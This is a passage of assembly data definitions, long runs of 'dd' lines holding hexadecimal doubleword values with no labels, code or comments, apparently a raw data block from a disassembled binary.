dd 2833B32h, 3E92042Ch, 3B66A080h, 7127506h, 76C98500h
dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
dd 0F01F84h, 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh
dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh
dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
dd 80792075h, 1757D054h, 11001993h, 0D2515303h, 0A04D14h
dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh
dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h
dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
dd 522228DCh, 0A11392F0h
dd 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h
dd 4300EC90h, 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh
dd 792A4D6h, 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h
dd 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh
dd 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h
dd 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h, 22431AFDh
dd 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh
dd 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h
dd 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h, 7B80BE1Eh
dd 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h
dd 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h
dd 80E7438h, 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h
dd 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh
dd 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h
dd 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h
dd 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h
dd 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h, 55455900h
dd 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h
dd 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh
dd 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h
dd 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h
dd 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h
dd 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh
dd 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h, 0F7A0D81Eh
dd 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h
dd 107D865h, 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h
dd 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h
dd 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h
dd 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h
dd 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah, 6741526h
dd 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h
dd 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh
dd 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h
dd 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh
dd 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h
dd 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h
dd 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h
dd 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh
dd 84002065h, 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh
dd 190507Fh, 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h
dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h
dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h
dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h, 4B011029h
dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
dd 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h
dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h
dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h
dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh
dd 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h
dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh
dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh
dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh
dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h
dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h
dd 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h
dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh
dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah
dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h
dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh, 16EC89h
dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h
dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h
dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
dd 96C0A938h
dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah
dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch
dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h
dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h
dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh
dd 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h
dd 0FEF28Fh, 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h
dd 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h
dd 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h
dd 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h
dd 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh
dd 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh
dd 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h
dd 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h
dd 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h
dd 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h
dd 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h
dd 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah
dd 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h
dd 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h
dd 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh
dd 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h
dd 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh, 0D200AAB7h
dd 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h, 3E988ACBh
dd 802113h, 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh
dd 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h
dd 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch
dd 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh
dd 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh
dd 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h
dd 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h
dd 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch, 0D044CF07h
dd 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh, 18465698h
dd 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h
dd 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h
dd 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h
dd 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h
dd 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah
dd 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h
dd 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h
dd 3465401h, 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh
dd 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh
dd 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h
dd 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h
dd 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h
dd 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h
dd 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh
dd 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h
dd 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h
dd 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h
dd 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h
dd 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h
dd 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h
dd 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h
dd 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h
dd 0E79117h, 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh
dd 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h
dd 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh
dd 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h
dd 388712h, 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh
dd 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h
dd 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h
dd 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh
dd 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h
dd 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh
dd 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h
dd 22759166h, 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h
dd 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h
dd 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h
dd 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh
dd 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h
dd 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h
dd 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h
dd 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h
dd 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h
dd 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h
dd 5FD5BD1h, 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h
dd 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh
dd 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h
dd 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh
dd 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h
dd 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh
dd 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h
dd 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch
dd 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h
dd 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh
dd 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h
dd 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh
dd 662230EBh, 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h
dd 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h
dd 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h, 31382433h
dd 80522831h, 54E41940h, 87C99h, 144B2C11h, 7955A41Ah
dd 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh
dd 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h
dd 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h, 3325D16Bh
dd 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh
dd 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah, 7BA2EAh
dd 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch
dd 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h, 0C297BC0h
dd 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h
dd 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h
dd 0EC99EA24h, 5FA858h, 264C4442h, 5B2DAF53h, 0E094D500h
dd 3B1C98C4h, 74F9A0BEh
dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah
dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h
dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h
dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h
dd 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch
dd 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh
dd 0EE7717h, 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h
dd 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h
dd 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h, 49DB608Bh
dd 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h
dd 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h
dd 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h
dd 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h
dd 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h
dd 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h
dd 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h
dd 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh
dd 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h
dd 7607B91h, 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h
dd 107EB8Bh, 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h
dd 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h
dd 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh
dd 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h
dd 871D79FAh, 54CF2088h, 803C004Ah, 638A551h, 58A2B891h
dd 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah
dd 772E6D41h, 706A6200h, 7899DF60h, 14510010h, 22836350h
dd 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h
dd 47667157h, 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh
dd 6409F07Fh, 80A66974h, 534018CFh, 48770061h, 0B37C577Dh
dd 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h
dd 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h
dd 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h
dd 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h
dd 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch
dd 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh
dd 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h
dd 0EA6F4363h, 581862h, 6C1C6847h, 77875166h, 31706B00h
dd 1D466365h, 74487140h, 1F077972h, 80615167h, 74945527h
dd 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h
dd 13048FEh, 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh
dd 0F860F834h, 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch
dd 3741150h, 61670046h, 60886376h, 8BA05677h, 6D000A62h
dd 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh
dd 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h
dd 48B07742h, 0B6006C63h, 74417289h, 613A71h, 1C0696Bh
dd 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h
dd 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h
dd 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h
dd 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h, 14101E15h
dd 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h
dd 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h
dd 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h
dd 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h
dd 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh
dd 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h
dd 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh
dd 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h
dd 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h
dd 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h
dd 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h
dd 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h
dd 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h
dd 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h
dd 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h
dd 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh
dd 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh
dd 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh
dd 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h
dd 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh
dd 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h
dd 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h
dd 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h
dd 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh
dd 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h
dd 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h
dd 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h
dd 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h
dd 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h
dd 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h
dd 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh
dd 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh
dd 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h
dd 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h
dd 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh
dd 8053B84h, 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h
dd 3455251h, 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h
dd 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah
dd 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h
dd 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h
dd 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h, 9E30E4BCh
dd 0D31840h, 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h
dd 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h
dd 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h
dd 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h, 0EC0257EBh
dd 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h, 837825E9h
dd 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h
dd 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h
dd 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h
dd 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh
dd 30B3B00h, 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch, 0A000275Fh
dd 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h, 82920E00h
dd 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h, 0D4DDC30Ch
dd 80072089h, 1DC0267Bh
dd 0B50098B7h, 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch
